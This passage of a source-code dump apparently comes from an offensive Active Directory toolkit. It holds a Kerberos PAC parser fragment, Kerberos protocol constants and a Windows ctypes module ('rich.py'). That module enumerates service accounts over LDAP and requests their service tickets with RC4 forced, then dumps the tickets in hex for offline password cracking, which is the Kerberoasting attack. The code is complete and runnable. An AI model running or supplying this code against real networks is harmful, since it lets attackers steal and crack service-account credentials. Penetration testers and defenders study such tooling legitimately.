+= 6 245 | ia = (ia1 << 16) | ia2 246 | sa = unpack_from('I' * sac, pac, k2) 247 | k2 += 4 * sac 248 | print '%s[0x%08x] S-%d-%d-%s' % (prefix, ptr, rev, ia, '-'.join(str(c) for c in sa)) 249 | else: 250 | print prefix + '' 251 | 252 | return k, k2 253 | 254 | i = 0 255 | print 'PACTYPE:' 256 | cbuffers = unpack_from('I', pac, i)[0] 257 | i += 4 258 | print ' cBuffers: %d' % cbuffers 259 | print ' Version: %d' % unpack_from('I', pac, i) 260 | i += 4 261 | bufs = [] 262 | for j in range(cbuffers): 263 | ultype, bufsz, offset = unpack_from('IIQ', pac, i) 264 | i += 16 265 | print ' Buffers[%d]:' % j 266 | print ' ulType: %d (%s)' % ( 267 | ultype, PAC_TYPE_NAME.get(ultype, 'UNKNOWN')) 268 | print ' cbBufferSize: %d' % bufsz 269 | print ' Offset: %d' % offset 270 | 271 | if ultype == PAC_LOGON_INFO: 272 | k = offset 273 | k2 = offset + 236 274 | print ' RPCHeader:' 275 | print ' Version: %d' % unpack_from('B', pac, k) 276 | k += 1 277 | print ' Endianness: %d' % unpack_from('B', pac, k) 278 | k += 1 279 | print ' CommonHeaderLength: %d' % unpack_from('H', pac, k) 280 | k += 2 281 | print ' Filler: 0x%08x' % unpack_from('I', pac, k) 282 | k += 4 283 | print ' ObjectBufferLength: %d' % unpack_from('I', pac, k) 284 | k += 4 285 | print ' Filler: 0x%08x' % unpack_from('I', pac, k) 286 | k += 4 287 | print ' ElementId: 0x%08x' % unpack_from('I', pac, k) 288 | k += 4 289 | print ' LogonTime: %s' % filetime2local(pac[k:k+8]) 290 | k += 8 291 | print ' LogoffTime: %s' % filetime2local(pac[k:k+8]) 292 | k += 8 293 | print ' KickOffTime: %s' % filetime2local(pac[k:k+8]) 294 | k += 8 295 | print ' PasswordLastSet: %s' % filetime2local(pac[k:k+8]) 296 | k += 8 297 | print ' PasswordCanChange: %s' % filetime2local(pac[k:k+8]) 298 | k += 8 299 | print ' PasswordMustChange: %s' % filetime2local(pac[k:k+8]) 300 | k += 8 301 | k, k2 = ppstr(' EffectiveName: ', pac, k, k2) 302 | k, k2 = ppstr(' FullName: ', pac, k, k2) 303 | k, k2 = ppstr(' LogonScript: ', pac, k, k2) 304 | k, k2 = ppstr(' ProfilePath: ', pac, k, k2) 305 | k, k2 = ppstr(' HomeDirectory: ', pac, k, k2) 306 | k, k2 = ppstr(' HomeDirectoryDrive: ', pac, k, k2) 307 | print ' LogonCount: %d' % unpack_from('H', pac, k) 308 | k += 2 309 | print ' BadPasswordCount: %d' % unpack_from('H', pac, k) 310 | k += 2 311 | print ' UserId: %d' % unpack_from('I', pac, k) 312 | k += 4 313 | print ' PrimaryGroupId: %d' % unpack_from('I', pac, k) 314 | k += 4 315 | print ' GroupCount: %d' % unpack_from('I', pac, k) 316 | k += 4 317 | k, k2 = ppgrparr(' GroupId: ', pac , k, k2) 318 | print ' UserFlags: 0x%08x' % unpack_from('I', pac, k) 319 | k += 4 320 | print ' UserSessionKey: 0x%016x 0x%016x' % unpack_from('QQ', pac, k) 321 | k += 16 322 | k, k2 = ppstr(' LogonServer: ', pac, k, k2) 323 | k, k2 = ppstr(' LogonDomainName: ', pac, k, k2) 324 | k, k2 = ppsid(' LogonDomainId: ', pac, k, k2) 325 | print ' Reserved1: %s' % filetime2local(pac[k:k+8]) 326 | k += 8 327 | print ' UserAccountControl: 0x%08x' % unpack_from('I', pac, k) 328 | k += 4 329 | print ' SubAuthStatus: 0x%08x' % unpack_from('I', pac, k) 330 | k += 4 331 | print ' LastSuccessfulILogon: %s' % filetime2local(pac[k:k+8]) 332 | k += 8 333 | print ' LastFailedILogon: %s' % filetime2local(pac[k:k+8]) 334 | k += 8 335 | print ' FailedILogonCount: %d' % unpack_from('I', pac, k) 336 | k += 4 337 | print ' Reserved3: 0x%08x' % unpack_from('I', pac, k) 338 | k += 4 339 | print ' SidCount: %d' % unpack_from('I', pac, k) 340 | k += 4 341 | print ' ExtraSids: 0x%08x' % unpack_from('I', pac, k) 342 | k += 4 343 | k, k2 = ppsid(' ResourceGroupDomainSid: ', pac, k, k2) 344 | print ' ResourceGroupCount: %d' % unpack_from('I', pac, k) 345 | k += 4 346 | k, k2 = ppgrparr(' ResourceGroupIds: ', pac , k, k2) 347 | 348 | elif ultype == PAC_CLIENT_INFO: 349 | k = offset 350 | print ' ClientId: %s' % filetime2local(pac[k:k+8]) 351 | k += 8 352 | name_len = unpack_from('H', pac, k)[0] 353 | k += 2 354 | print ' Name: %s' % pac[k:k + name_len].decode('utf-16le') 355 | 356 | elif ultype in (PAC_SERVER_CHECKSUM, PAC_PRIVSVR_CHECKSUM): 357 | print ' SignatureType: 0x%08x' % unpack_from('I', pac, offset) 358 | print ' Signature: %s' % pac[offset+4:offset+bufsz].encode('hex') 359 | -------------------------------------------------------------------------------- /modules/rom/rich.py: -------------------------------------------------------------------------------- 1 | # ---------------------------------------------------------------------------- 2 | # "THE BEER-WARE LICENSE" (Revision 42): 3 | # wrote this file. As long as you 4 | # retain this notice you can do whatever you want with this stuff. If we meet 5 | # some day, and you think this stuff is worth it, you can buy me a beer in 6 | # return. Fist0urs 7 | # ---------------------------------------------------------------------------- 8 | 9 | #!/usr/bin/python 10 | 11 | # -*- coding: utf-8 -*- 12 | 13 | # by Fist0urs 14 | 15 | from os.path import dirname 16 | 17 | from ctypes import windll, cdll, memmove, cast, Structure, Union, addressof, byref, create_unicode_buffer, \ 18 | c_ubyte as UCHAR, c_wchar as wchar_t, c_wchar_p as PWSTR, POINTER, sizeof, \ 19 | c_void_p as PVOID, c_longlong as LONGLONG, c_ulonglong as ULONGLONG, c_char_p as PCHAR 20 | 21 | from ctypes.wintypes import BOOL, DWORD, HANDLE, SHORT, USHORT, LONG, ULONG, BYTE 22 | 23 | PUCHAR = POINTER(UCHAR) 24 | 25 | LDAP_SUCCESS = 0 26 | LDAP_VERSION3 = 3 27 | LDAP_NO_LIMIT = 0 28 | LDAP_PORT = 389 29 | LDAP_AUTH_NEGOTIATE = (0x86 | 0x0400) 30 | LDAP_OPT_PROTOCOL_VERSION = (0x11) 31 | LDAP_OPT_SIZELIMIT = (0x03) 32 | LDAP_OPT_TIMELIMIT = (0x04) 33 | LDAP_SCOPE_SUBTREE = (0x02) 34 | 35 | ANYSIZE_ARRAY = 1 36 | 37 | STATUS_SUCCESS = 0x00000000 38 | 39 | LsaConnectUntrusted = windll.secur32.LsaConnectUntrusted 40 | LsaLookupAuthenticationPackage = windll.secur32.LsaLookupAuthenticationPackage 41 | LsaCallAuthenticationPackage = windll.secur32.LsaCallAuthenticationPackage 42 | LsaFreeReturnBuffer = windll.secur32.LsaFreeReturnBuffer 43 | 44 | ldap_init = cdll.wldap32.ldap_init 45 | ldap_set_option = cdll.wldap32.ldap_set_option 46 | ldap_connect = cdll.wldap32.ldap_connect 47 | ldap_unbind = cdll.wldap32.ldap_unbind 48 | ldap_unbind_s = cdll.wldap32.ldap_unbind 49 | ldap_bind_s = cdll.wldap32.ldap_bind_s 50 | ldap_search_s = cdll.wldap32.ldap_search_s 51 | ldap_msgfree = cdll.wldap32.ldap_msgfree 52 | ldap_count_entries = cdll.wldap32.ldap_count_entries 53 | ldap_first_entry = cdll.wldap32.ldap_first_entry 54 | ldap_next_entry = cdll.wldap32.ldap_next_entry 55 | LdapGetLastError = cdll.wldap32.LdapGetLastError 56 | ldap_first_attribute = cdll.wldap32.ldap_first_attribute 57 | ldap_next_attribute = cdll.wldap32.ldap_next_attribute 58 | ldap_get_values = cdll.wldap32.ldap_get_values 59 | ldap_count_values = cdll.wldap32.ldap_count_values 60 | ldap_value_free = cdll.wldap32.ldap_value_free 61 | ldap_memfree = cdll.wldap32.ldap_memfree 62 | ldap_msgfree = cdll.wldap32.ldap_msgfree 63 | ber_free = cdll.wldap32.ber_free 64 | 65 | class _SecHandle(Structure): 66 | _fields_ = [ 67 | ('dwLower', ULONGLONG), 68 | ('dwUpper', ULONGLONG), 69 | ] 70 | PSecHandle = POINTER(_SecHandle) 71 | SecHandle = _SecHandle 72 | 73 | class _LSA_UNICODE_STRING(Structure): 74 | _fields_ = [ 75 | ('Length', USHORT), 76 | ('MaximumLength', USHORT), 77 | ('Buffer', PWSTR), 78 | ] 79 | PLSA_UNICODE_STRING = POINTER(_LSA_UNICODE_STRING) 80 | LSA_UNICODE_STRING = _LSA_UNICODE_STRING 81 | UNICODE_STRING = LSA_UNICODE_STRING 82 | 83 | class _LUID(Structure): 84 | _fields_ = [ 85 | ('LowPart', DWORD), 86 | ('HighPart', LONG), 87 | ] 88 | PLUID = POINTER(_LUID) 89 | LUID = _LUID 90 | 91 | class _KERB_RETRIEVE_TKT_REQUEST(Structure): 92 | _fields_ = [ 93 | ('MessageType', DWORD), 94 | ('LogonId', LUID), 95 | ('TargetName', UNICODE_STRING), 96 | ('TicketFlags', ULONG), 97 | ('CacheOptions', ULONG), 98 | ('EncryptionType', LONG), 99 | ('CredentialsHandle', SecHandle), 100 | ] 101 | PKERB_RETRIEVE_TKT_REQUEST = POINTER(_KERB_RETRIEVE_TKT_REQUEST) 102 | KERB_RETRIEVE_TKT_REQUEST = _KERB_RETRIEVE_TKT_REQUEST 103 | 104 | class _BIG_INTEGER(Structure): 105 | _fields_ = [ 106 | ('LowPart', DWORD), 107 | ('HighPart', LONG), 108 | ] 109 | PBIG_INTEGER = POINTER(_BIG_INTEGER) 110 | BIG_INTEGER = _BIG_INTEGER 111 | 112 | class _LARGE_INTEGER(Union): 113 | _fields_ = [ 114 | ('u', BIG_INTEGER), 115 | ('QuadPart', LONGLONG), 116 | ] 117 | PLARGE_INTEGER = POINTER(_LARGE_INTEGER) 118 | LARGE_INTEGER = _LARGE_INTEGER 119 | 120 | class _KERB_EXTERNAL_NAME(Structure): 121 | _fields_ = [ 122 | ('NameType', SHORT), 123 | ('NameCount', USHORT), 124 | ('Names', UNICODE_STRING * ANYSIZE_ARRAY), 125 | ] 126 | PKERB_EXTERNAL_NAME = POINTER(_KERB_EXTERNAL_NAME) 127 | KERB_EXTERNAL_NAME = _KERB_EXTERNAL_NAME 128 | 129 | class KERB_CRYPTO_KEY(Structure): 130 | _fields_ = [ 131 | ('KeyType', LONG), 132 | ('Length', ULONG), 133 | ('Value', PUCHAR), 134 | ] 135 | PKERB_EXTERNAL_TICKET = POINTER(KERB_CRYPTO_KEY) 136 | 137 | class _KERB_EXTERNAL_TICKET(Structure): 138 | _fields_ = [ 139 | ('ServiceName', PKERB_EXTERNAL_NAME), 140 | ('TargetName', PKERB_EXTERNAL_NAME), 141 | ('ClientName', PKERB_EXTERNAL_NAME), 142 | ('DomainName', UNICODE_STRING), 143 | ('TargetDomainName', UNICODE_STRING), 144 | ('AltTargetDomainName', UNICODE_STRING), 145 | ('SessionKey', KERB_CRYPTO_KEY), 146 | ('TicketFlags', ULONG), 147 | ('Flags', ULONG), 148 | ('KeyExpirationTime', LARGE_INTEGER), 149 | ('StartTime', LARGE_INTEGER), 150 | ('EndTime', LARGE_INTEGER), 151 | ('RenewUntil', LARGE_INTEGER), 152 | ('TimeSkew', LARGE_INTEGER), 153 | ('EncodedTicketSize', ULONG), 154 | ('EncodedTicket', PUCHAR), 155 | ] 156 | PKERB_EXTERNAL_TICKET = POINTER(_KERB_EXTERNAL_TICKET) 157 | KERB_EXTERNAL_TICKET = _KERB_EXTERNAL_TICKET 158 | 159 | 160 | class _KERB_RETRIEVE_TKT_RESPONSE(Structure): 161 | _fields_ = [ 162 | ('Ticket', KERB_EXTERNAL_TICKET), 163 | ] 164 | PKERB_RETRIEVE_TKT_RESPONSE = POINTER(_KERB_RETRIEVE_TKT_RESPONSE) 165 | KERB_RETRIEVE_TKT_RESPONSE = _KERB_RETRIEVE_TKT_RESPONSE 166 | 167 | class _LDSB(Structure): 168 | _fields_ = [ 169 | ('sb_sd', LONGLONG), 170 | ('Reserved1', UCHAR * ((10*sizeof(ULONG))+1)), 171 | ('sb_naddr', ULONGLONG), 172 | ('Reserved2', UCHAR * ((6*sizeof(ULONG))+1)), 173 | ] 174 | PLDSB = POINTER(_LDSB) 175 | LDSB = _LDSB 176 | 177 | class _LDAP(Structure): 178 | _fields_ = [ 179 | ('ld_sb', LDSB), 180 | ('ld_host', PCHAR), 181 | ('ld_version', ULONG), 182 | ('ld_lberoptions', UCHAR), 183 | ('ld_deref', ULONG), 184 | ('ld_timelimit', ULONG), 185 | ('ld_sizelimit', ULONG), 186 | ('ld_errno', ULONG), 187 | ('ld_matched', PCHAR), 188 | ('ld_error', PCHAR), 189 | ('ld_msgid', ULONG), 190 | ('Reserved3', UCHAR * ((6*sizeof(ULONG))+1)), 191 | ('ld_cldaptries', ULONG), 192 | ('ld_cldaptimeout', ULONG), 193 | ('ld_refhoplimit', ULONG), 194 | ('ld_options', ULONG), 195 | ] 196 | PLDAP = POINTER(_LDAP) 197 | LDAP = _LDAP 198 | 199 | class _LDAPMSG(Structure): 200 | _fields_ = [ 201 | ('lm_msgid', ULONG), 202 | ('lm_msgtype', ULONG), 203 | ('lm_ber', PVOID), 204 | ('lm_chain', PVOID), 205 | ('lm_next', PVOID), 206 | ('lm_time', ULONG), 207 | ('Connection', PLDAP), 208 | ('Request', PVOID), 209 | ('lm_returncode', ULONG), 210 | ('lm_referral', USHORT), 211 | ('lm_chased', BOOL), 212 | ('lm_eom', BOOL), 213 | ('ConnectionReferenced', BOOL), 214 | ] 215 | PLDAPMSG = POINTER(_LDAPMSG) 216 | LDAPMSG = _LDAPMSG 217 | 218 | class berelement(Structure): 219 | _fields_ = [ 220 | ('opaque', PCHAR), 221 | ] 222 | PBerElement = POINTER(berelement) 223 | BerElement = berelement 224 | 225 | 226 | def ConnectToLDAP(pConnectionInformation): 227 | 228 | dwRes = ULONG(LDAP_SUCCESS) 229 | version = ULONG(LDAP_VERSION3) 230 | size = ULONG(LDAP_NO_LIMIT) 231 | time = ULONG(LDAP_NO_LIMIT) 232 | 233 | hLDAPConnection = ldap_init(pConnectionInformation, LDAP_PORT) 234 | 235 | if hLDAPConnection == 0: 236 | print "Impossible to connect to LDAP\n" 237 | return 0 238 | 239 | dwRes = ldap_set_option(hLDAPConnection, LDAP_OPT_PROTOCOL_VERSION, byref(version)) 240 | 241 | if dwRes != LDAP_SUCCESS: 242 | print "Unable to set LDAP protocol option (ErrorCode: %d).\r\n" % dwRes 243 | if hLDAPConnection != 0: 244 | ldap_unbind(hLDAPConnection) 245 | return 0 246 | 247 | dwRes = ldap_set_option(hLDAPConnection, LDAP_OPT_SIZELIMIT, byref(size)) 248 | 249 | if dwRes != LDAP_SUCCESS: 250 | print "Unable to set LDAP size limit option (ErrorCode: %d).\r\n" % dwRes 251 | if hLDAPConnection != 0: 252 | ldap_unbind(hLDAPConnection) 253 | return 0 254 | 255 | dwRes = ldap_set_option(hLDAPConnection, LDAP_OPT_TIMELIMIT, byref(time)) 256 | 257 | if dwRes != LDAP_SUCCESS: 258 | print "Unable to set LDAP time limit option (ErrorCode: %d).\r\n" % dwRes 259 | if hLDAPConnection != 0: 260 | ldap_unbind(hLDAPConnection) 261 | return 0 262 | 263 | dwRes = ldap_connect(hLDAPConnection, 0); 264 | 265 | if dwRes != LDAP_SUCCESS: 266 | print "Unable to connect to LDAP server\n" 267 | if hLDAPConnection != 0: 268 | ldap_unbind(hLDAPConnection) 269 | return 0 270 | 271 | dwRes = ldap_bind_s(hLDAPConnection, 0, 0, LDAP_AUTH_NEGOTIATE); 272 | 273 | if dwRes != LDAP_SUCCESS: 274 | print "Unable to bind to LDAP server\n" 275 | if hLDAPConnection != 0: 276 | ldap_unbind(hLDAPConnection) 277 | return 0 278 | 279 | return cast(hLDAPConnection, PLDAP) 280 | 281 | 282 | def LDAPsearch(hLDAPConnection, pMyDN, pMyFilter, pMyAttributes): 283 | KerberomResult = [] 284 | pSearchResult = PLDAPMSG() 285 | 286 | errorCode = ldap_search_s( 287 | hLDAPConnection, 288 | pMyDN, 289 | LDAP_SCOPE_SUBTREE, 290 | pMyFilter, 291 | pMyAttributes, 292 | 0, 293 | byref(pSearchResult)) 294 | 295 | if errorCode != LDAP_SUCCESS: 296 | print "ldap_search_s failed with %d \n" % errorCode 297 | ldap_unbind_s(hLDAPConnection); 298 | if pSearchResult != 0: 299 | ldap_msgfree(pSearchResult); 300 | return 0; 301 | 302 | numberOfEntries = ldap_count_entries( 303 | hLDAPConnection, 304 | pSearchResult) 305 | 306 | if numberOfEntries == 0: 307 | print "ldap_count_entries failed with %d \n" % errorCode 308 | 309 | ldap_unbind_s(hLDAPConnection); 310 | if pSearchResult != 0: 311 | ldap_msgfree(pSearchResult); 312 | return 0; 313 | 314 | pEntry = PLDAPMSG() 315 | 316 | for iCnt in range(numberOfEntries): 317 | entry = {} 318 | if iCnt == 0: 319 | pEntry = ldap_first_entry(hLDAPConnection, pSearchResult) 320 | else: 321 | pEntry = ldap_next_entry(hLDAPConnection, pEntry) 322 | 323 | sMsg = "ldap_next_entry" 324 | if iCnt == 0: 325 | sMsg = "ldap_first_entry" 326 | 327 | if pEntry == 0: 328 | ldaperror = LdapGetLastError() 329 | print "%s failed with %d" % (sMsg, ldaperror) 330 | ldap_unbind_s(hLDAPConnection) 331 | ldap_msgfree(pSearchResult) 332 | return 0 333 | 334 | pBer = PBerElement() 335 | 336 | pAttribute = ldap_first_attribute(hLDAPConnection, pEntry, byref(pBer)) 337 | 338 | ppValue = POINTER(PCHAR) 339 | 340 | while pAttribute != 0: 341 | ppValue = ldap_get_values( 342 | hLDAPConnection, 343 | pEntry, 344 | pAttribute); 345 | 346 | if ppValue == 0: 347 | print "No attribute value returned" 348 | else: 349 | iValue = ldap_count_values(ppValue) 350 | if iValue == 0: 351 | print "Bad value list" 352 | else: 353 | 354 | pAttribute = cast(pAttribute, PCHAR) 355 | ppValue = cast(ppValue, POINTER(PCHAR)) 356 | 357 | entry[pAttribute.value.lower()] = ppValue.contents.value 358 | 359 | if ppValue != 0: 360 | ldap_value_free(ppValue) 361 | ldap_memfree(pAttribute) 362 | 363 | pAttribute = ldap_next_attribute(hLDAPConnection, pEntry, pBer) 364 | 365 | KerberomResult.append(entry) 366 | if pBer != 0: 367 | ber_free(pBer, 0) 368 | 369 | ldap_unbind(hLDAPConnection) 370 | ldap_msgfree(pSearchResult) 371 | 372 | return KerberomResult 373 | 374 | 375 | def KerberosInit(): 376 | hLsaConnection = HANDLE() 377 | 378 | status = DWORD(0) 379 | LPTR = (0x0000 | 0x0040) 380 | MICROSOFT_KERBEROS_NAME_A = PWSTR() 381 | 382 | MICROSOFT_KERBEROS_NAME_A = windll.kernel32.LocalAlloc(LPTR, len("Kerberos") + 1) 383 | 384 | memmove(MICROSOFT_KERBEROS_NAME_A, "Kerberos", len("Kerberos")) 385 | 386 | status = LsaConnectUntrusted(byref(hLsaConnection)) 387 | 388 | if status != STATUS_SUCCESS: 389 | print "LsaConnectUntrusted, cannot get LSA handle, error %d " % status 390 | windll.kernel32.LocalFree(MICROSOFT_KERBEROS_NAME_A) 391 | return None, None 392 | 393 | kerberosPackageName = UNICODE_STRING() 394 | kerberosPackageName.Length = USHORT(8) 395 | kerberosPackageName.MaximumLength = USHORT(9) 396 | kerberosPackageName.Buffer = MICROSOFT_KERBEROS_NAME_A 397 | 398 | dwKerberosAuthenticationPackageId = DWORD(0) 399 | status = LsaLookupAuthenticationPackage(hLsaConnection, byref(kerberosPackageName), byref(dwKerberosAuthenticationPackageId)) 400 | 401 | windll.kernel32.LocalFree(MICROSOFT_KERBEROS_NAME_A) 402 | 403 | if status == STATUS_SUCCESS: 404 | return hLsaConnection, dwKerberosAuthenticationPackageId 405 | else: 406 | return None, None 407 | 408 | 409 | def Get_TGS(hLsaConnection, dwKerberosAuthenticationPackageId, SPNentry): 410 | LPTR = (0x0000 | 0x0040) 411 | 412 | list_of_target = SPNentry["serviceprincipalname"].split(";") 413 | 414 | for target in list_of_target: 415 | szSPN = create_unicode_buffer(target.lower()) 416 | dwSPNSize = USHORT((len(target)) * sizeof(wchar_t)) 417 | 418 | dwTicketPayloadSize = DWORD(sizeof(KERB_RETRIEVE_TKT_REQUEST) + dwSPNSize.value) 419 | 420 | KerbRetrieveEncodedTicketMessage = 8 421 | KERB_ETYPE_RC4_HMAC_NT = 23 422 | KERB_RETRIEVE_TICKET_DONT_USE_CACHE = (0x1) 423 | 424 | dwKerbRetrieveTicketRequestAddress = windll.kernel32.LocalAlloc(LPTR, dwTicketPayloadSize.value) 425 | pKerbRetrieveTicketRequest = cast(dwKerbRetrieveTicketRequestAddress, PKERB_RETRIEVE_TKT_REQUEST) 426 | 427 | pKerbRetrieveTicketRequest.contents.MessageType = KerbRetrieveEncodedTicketMessage 428 | # current logon session context 429 | pKerbRetrieveTicketRequest.contents.LogonID = 0 430 | # TargetName 431 | pKerbRetrieveTicketRequest.contents.TargetName.Length = USHORT(dwSPNSize.value) 432 | pKerbRetrieveTicketRequest.contents.TargetName.MaximumLength = USHORT(dwSPNSize.value + sizeof(wchar_t)) 433 | 434 | dwKerbRetrieveTicketRequestBufferAddress = dwKerbRetrieveTicketRequestAddress + sizeof(KERB_RETRIEVE_TKT_REQUEST) 435 | memmove(dwKerbRetrieveTicketRequestBufferAddress, szSPN, pKerbRetrieveTicketRequest.contents.TargetName.Length) 436 | pKerbRetrieveTicketRequest.contents.TargetName.Buffer = cast(dwKerbRetrieveTicketRequestBufferAddress, PWSTR) 437 | 438 | pKerbRetrieveTicketRequest.contents.TicketFlags = ULONG(0) 439 | pKerbRetrieveTicketRequest.contents.CacheOptions = KERB_RETRIEVE_TICKET_DONT_USE_CACHE 440 | pKerbRetrieveTicketRequest.contents.EncryptionType = KERB_ETYPE_RC4_HMAC_NT 441 | pKerbRetrieveTicketRequest.contents.CredentialsHandle = SecHandle() 442 | 443 | pKerbRetrieveTicketResponse = PVOID() 444 | pKerbRetrieveTicketResponse = cast(pKerbRetrieveTicketResponse, PKERB_RETRIEVE_TKT_RESPONSE) 445 | dwProtocolStatus = DWORD(0) 446 | 447 | status = LsaCallAuthenticationPackage(hLsaConnection, dwKerberosAuthenticationPackageId, pKerbRetrieveTicketRequest, dwTicketPayloadSize, byref(pKerbRetrieveTicketResponse), byref(dwTicketPayloadSize), byref(dwProtocolStatus)) 448 | 449 | windll.kernel32.LocalFree(pKerbRetrieveTicketRequest) 450 | 451 | if status == STATUS_SUCCESS and dwProtocolStatus.value == STATUS_SUCCESS and dwTicketPayloadSize.value != 0: 452 | pKerbRetrieveTicketResponse = cast(pKerbRetrieveTicketResponse, PKERB_RETRIEVE_TKT_RESPONSE) 453 | pEncodedTicket = pKerbRetrieveTicketResponse.contents.Ticket.EncodedTicket 454 | dwEncodedTicketSize = pKerbRetrieveTicketResponse.contents.Ticket.EncodedTicketSize 455 | 456 | Ticket = "" 457 | for i in range(dwEncodedTicketSize): 458 | Ticket += hex(pEncodedTicket[i]).replace("0x",'').zfill(2) 459 | 460 | LsaFreeReturnBuffer(pKerbRetrieveTicketResponse) 461 | 462 | return Ticket 463 | else: 464 | print " [-] Cannot retrieve ticket for account '%s' and SPN '%s', status: %s ; protocolstatus: %s" % (SPNentry["samaccountname"], target, hex(status), hex(dwProtocolStatus.value)) 465 | print " [+] Trying the next one." 466 | print "[-] Could not retrieve any ticket for account '%s' and the list of SPN: '%s'" % (SPNentry["samaccountname"], SPNentry["serviceprincipalname"]) 467 | return 0 468 | -------------------------------------------------------------------------------- /modules/rom/constants.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2003-2016 CORE Security Technologies 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Author: Alberto Solino (@agsolino) 8 | # 9 | # Description: 10 | # Constants for krb5.asn1 package. I took them out from the RFC plus 11 | # some data from [MS-KILE] as well. 12 | # 13 | # 14 | 15 | from enum import Enum 16 | 17 | def encodeFlags(flags): 18 | finalFlags = list() 19 | 20 | for i in range(0,32): 21 | finalFlags.append(0,) 22 | 23 | 24 | for f in flags: 25 | finalFlags[f] = 1 26 | 27 | return finalFlags 28 | 29 | class ApplicationTagNumbers(Enum): 30 | Ticket = 1 31 | Authenticator = 2 32 | EncTicketPart = 3 33 | AS_REQ = 10 34 | AS_REP = 11 35 | TGS_REQ = 12 36 | TGS_REP = 13 37 | AP_REQ = 14 38 | AP_REP = 15 39 | RESERVED16 = 16 40 | RESERVED17 = 17 41 | KRB_SAFE = 20 42 | KRB_PRIV = 21 43 | KRB_CRED = 22 44 | EncASRepPart = 25 45 | EncTGSRepPart = 26 46 | EncApRepPart = 27 47 | EncKrbPrivPart = 28 48 | EncKrbCredPart = 29 49 | KRB_ERROR = 30 50 | 51 | class PrincipalNameType(Enum): 52 | NT_UNKNOWN = 0 53 | NT_PRINCIPAL = 1 54 | NT_SRV_INST = 2 55 | NT_SRV_HST = 3 56 | NT_SRV_XHST = 4 57 | NT_UID = 5 58 | NT_X500_PRINCIPAL = 6 59 | NT_SMTP_NAME = 7 60 | NT_ENTERPRISE = 10 61 | 62 | class PreAuthenticationDataTypes(Enum): 63 | PA_TGS_REQ = 1 64 | PA_ENC_TIMESTAMP = 2 65 | PA_PW_SALT = 3 66 | PA_ENC_UNIX_TIME = 5 67 | PA_SANDIA_SECUREID = 6 68 | PA_SESAME = 7 69 | PA_OSF_DCE = 8 70 | PA_CYBERSAFE_SECUREID = 9 71 | PA_AFS3_SALT = 10 72 | PA_ETYPE_INFO = 11 73 | PA_SAM_CHALLENGE = 12 74 | PA_SAM_RESPONSE = 13 75 | PA_PK_AS_REQ_OLD = 14 76 | PA_PK_AS_REP_OLD = 15 77 | PA_PK_AS_REQ = 16 78 | PA_PK_AS_REP = 17 79 | PA_ETYPE_INFO2 = 19 80 | PA_USE_SPECIFIED_KVNO = 20 81 | PA_SAM_REDIRECT = 21 82 | PA_GET_FROM_TYPED_DATA = 22 83 | TD_PADATA = 22 84 | PA_SAM_ETYPE_INFO = 23 85 | PA_ALT_PRINC = 24 86 | PA_SAM_CHALLENGE2 = 30 87 | PA_SAM_RESPONSE2 = 31 88 | PA_EXTRA_TGT = 41 89 | TD_PKINIT_CMS_CERTIFICATES = 101 90 | TD_KRB_PRINCIPAL = 102 91 | TD_KRB_REALM = 103 92 | TD_TRUSTED_CERTIFIERS = 104 93 | TD_CERTIFICATE_INDEX = 105 94 | TD_APP_DEFINED_ERROR = 106 95 | TD_REQ_NONCE = 107 96 | TD_REQ_SEQ = 108 97 | PA_PAC_REQUEST = 128 98 | PA_FOR_USER = 129 99 | PA_FX_COOKIE = 133 100 | PA_FX_FAST = 136 101 | PA_FX_ERROR = 137 102 | PA_ENCRYPTED_CHALLENGE = 138 103 | PA_SUPPORTED_ENCTYPES = 165 104 | PA_PAC_OPTIONS = 167 105 | 106 | class AddressType(Enum): 107 | IPv4 = 2 108 | Directional = 3 109 | ChaosNet = 5 110 | XNS = 6 111 | ISO = 7 112 | DECNET_Phase_IV = 12 113 | AppleTalk_DDP = 16 114 | NetBios = 20 115 | IPv6 = 24 116 | 117 | # 3.1.5.9 Key Usage Numbers 118 | KERB_NON_KERB_SALT = 16 119 | KERB_NON_KERB_CKSUM_SALT = 17 120 | 121 | # 7.5.4. Authorization Data Types 122 | class AuthorizationDataType(Enum): 123 | AD_IF_RELEVANT = 1 124 | AD_INTENDED_FOR_SERVER = 2 125 | AD_INTENDED_FOR_APPLICATION_CLASS = 3 126 | AD_KDC_ISSUED = 4 127 | AD_AND_OR = 5 128 | AD_MANDATORY_TICKET_EXTENSIONS = 6 129 | AD_IN_TICKET_EXTENSIONS = 7 130 | AD_MANDATORY_FOR_KDC = 8 131 | #Reserved values = 9-63 132 | OSF_DCE = 64 133 | SESAME = 65 134 | AD_OSF_DCE_PKI_CERTID = 66 135 | AD_WIN2K_PAC = 128 136 | AD_ETYPE_NEGOTIATION = 129 137 | 138 | # 7.5.5. Transited Encoding Types 139 | class TransitedEncodingTypes(Enum): 140 | DOMAIN_X500_COMPRESS = 1 141 | 142 | # 7.5.6. Protocol Version Number 143 | class ProtocolVersionNumber(Enum): 144 | pvno = 5 145 | 146 | # 7.5.7. Kerberos Message Types 147 | class KerberosMessageTypes(Enum): 148 | KRB_AS_REQ = 10 # Request for initial authentication 149 | KRB_AS_REP = 11 # Response to KRB_AS_REQ request 150 | KRB_TGS_REQ = 12 # Request for authentication based on TGT 151 | KRB_TGS_REP = 13 # Response to KRB_TGS_REQ request 152 | KRB_AP_REQ = 14 # Application request to server 153 | KRB_AP_REP = 15 # Response to KRB_AP_REQ_MUTUAL 154 | KRB_RESERVED16 = 16 # Reserved for user-to-user krb_tgt_request 155 | KRB_RESERVED17 = 17 # Reserved for user-to-user krb_tgt_reply 156 | KRB_SAFE = 20 # Safe (checksummed) application message 157 | KRB_PRIV = 21 # Private (encrypted) application message 158 | KRB_CRED = 22 # Private (encrypted) message to forward 159 | # credentials 160 | KRB_ERROR = 30 # Error response 161 | 162 | # 7.5.8. Name Types 163 | class NameTypes(Enum): 164 | KRB_NT_UNKNOWN = 0 # Name type not known 165 | KRB_NT_PRINCIPAL = 1 # Just the name of the principal as in DCE, 166 | # or for users 167 | KRB_NT_SRV_INST = 2 # Service and other unique instance (krbtgt) 168 | KRB_NT_SRV_HST = 3 # Service with host name as instance 169 | # (telnet, rcommands) 170 | KRB_NT_SRV_XHST = 4 # Service with host as remaining components 171 | KRB_NT_UID = 5 # Unique ID 172 | KRB_NT_X500_PRINCIPAL = 6 # Encoded X.509 Distinguished name [RFC2253] 173 | KRB_NT_SMTP_NAME = 7 # Name in form of SMTP email name 174 | # (e.g., user@example.com) 175 | KRB_NT_ENTERPRISE = 10 # Enterprise name; may be mapped 